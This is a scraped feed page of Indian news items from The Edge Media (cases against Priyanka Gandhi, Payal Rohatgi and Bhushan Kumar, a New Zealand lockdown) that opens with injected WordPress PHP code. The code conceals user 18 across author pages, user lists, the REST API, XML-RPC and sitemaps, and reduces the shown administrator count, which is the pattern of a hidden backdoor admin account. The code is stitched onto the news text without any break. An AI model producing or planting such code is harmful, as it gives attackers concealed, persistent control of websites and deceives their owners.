add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Violence in Lakhimpur Kheri: A case has been filed against Priyanka, and Sidhu has threatened to march appeared first on The Edge Media.
]]>
According to officials, a complaint has been filed against Uttar Pradesh Congress chairman Ajay Kumar Lallu and party leader Deependra Hooda under sections 151, 107, and 116 of the Code of Criminal Procedure (all of which pertain to preventative arrest owing to concern of disturbance of the peace). On Monday, Congress general secretary Priyanka Gandhi Vadra and other party leaders were arrested while on their way to see victims of the violence that occurred during a farmers’ protest in Lakhimpur Kheri the day before.
The post Violence in Lakhimpur Kheri: A case has been filed against Priyanka, and Sidhu has threatened to march appeared first on The Edge Media.
]]>The post Case registered against Payal Rohatgi for allegedly using objectionable words appeared first on The Edge Media.
]]>According to media reports, a complaint against the actress was filed at Shivaji Nagar police station by the office -bearers of the Pune City Congress Committee.
“Payal Rohatgi has repeatedly made derogatory comments about the Nehru Gandhi family. We came across one such post, which we believe has been made recently. Subsequently, the office-bearers of the Pune City Congress committee, including Ramesh Bagwe, Mohan Joshi, Datta Bahirat, Sangeeta Tiwari and myself, met senior police officials from the cyber crime cell. A formal complaint in the case was given by Sangeet Tiwari. The police have acted on it and a case has been registered at Shivaji Nagar police station,” Indian Express quoted Pune City Congress spokesperson Ramesh Iyer as saying.
This is not the first time that the 36-year-old actor has landed herself in legal trouble. In 2019, Rohatgi was arrested by the Rajasthan police for her alleged comments against former Prime Minister, late Jawaharlal Nehru.
More recently, in the month of June, she was arrested by the Satellite Police in Ahmedabad on Friday for threatening and hurling abuse at the chairman of her society on social media. Rohatgi was later released on bail.
The Satellite police station in Ahmedabad had arrested the actress following a complaint lodged by the chairman of the society where she lives. The police have invoked IPC Sections 294(b), 504, 506(1), 506(2), and Section 67 of the Information Technology Act against the actress.
Rohatgi made her acting debut in 2002 with the film ‘Yeh Kya Ho Raha Hai?’ She was later seen on reality TV shows like ‘Khatron Ke Khiladi 2’ and ‘Bigg Boss 2’.
The post Case registered against Payal Rohatgi for allegedly using objectionable words appeared first on The Edge Media.
]]>The post New zealand declares snap 3-day lockdown after 1st covid case in 6 months. appeared first on The Edge Media.
]]>Ardern said New Zealand, which had not recorded any infections in the community for six months, could not take any chances with the “game changer” Delta strain.
“We have seen what can happen elsewhere if we fail to get on top of it. We only get one chance,” Ardern said in a televised national address.
The New Zealand leader cited Australia’s struggles to contain the highly transmissible Delta variant for her “short, sharp” reaction to the case, which was found in a 58-year-old Auckland man.
The post New zealand declares snap 3-day lockdown after 1st covid case in 6 months. appeared first on The Edge Media.
]]>The post T-series Head Bhushan Kumar accused of rape, case filed : report. appeared first on The Edge Media.
]]>The offence was registered at DN Nagar police station in Andheri (west) on the basis of the complaint filed by the 30-year-old woman, he said.
However, the police did not give details about the alleged crime.
As per the complaint , Bhushan Kumar allegedly raped the woman on the pretext of providing a job to her in some project of his own company, the official told news agency Press Trust of India.
According to the official, Bhushan kumar has been charged under Indian Penal Code Sections 376 (rape), 420 (cheating), 506(criminal intimidation).
The post T-series Head Bhushan Kumar accused of rape, case filed : report. appeared first on The Edge Media.
]]>The post Case filed in UP against makers of web series ‘Tandav’ appeared first on The Edge Media.
]]>The post Case filed in UP against makers of web series ‘Tandav’ appeared first on The Edge Media.
]]>The post Sushant death Case: ED files money laundering case appeared first on The Edge Media.
]]>The central probe agency has taken cognisance of a Bihar Police first investigation report (FIR) registered against actress Rhea Chakraborty and some others to slap criminal charges under the Prevention of Money Laundering Act (PMLA) in its complaint, they said.
The officials said an Enforcement Case Information Report (ECIR) has been filed in the case related to the death of the actor and alleged financial irregularities being suspected to have been done against the deceased.
The ED had recently sought the FIR copy from the Bihar Police.
Rajput’s father Krishna Kumar Singh, 74, had on Tuesday lodged a police complaint against Chakraborty, her family members and six others on charges of alleged abetment to suicide of his son.
Singh has accused Chakraborty, a budding TV and film actress, of having befriended his son in May 2019 with the intention of furthering her own career.
The ED will probe allegations of alleged mishandling of Rajput’s money and his bank accounts. The agency will probe if anyone used Rajput’s income for money laundering and creating illegal assets, the officials said.
The Mumbai Police is already probing Rajput’s death. Rajput, 34, who had starred in films such as Chichhore, Kai Po Che and Kedarnath, was found hanging in his apartment in Mumbai’s Bandra area on June 14. — PTI
The post Sushant death Case: ED files money laundering case appeared first on The Edge Media.
]]>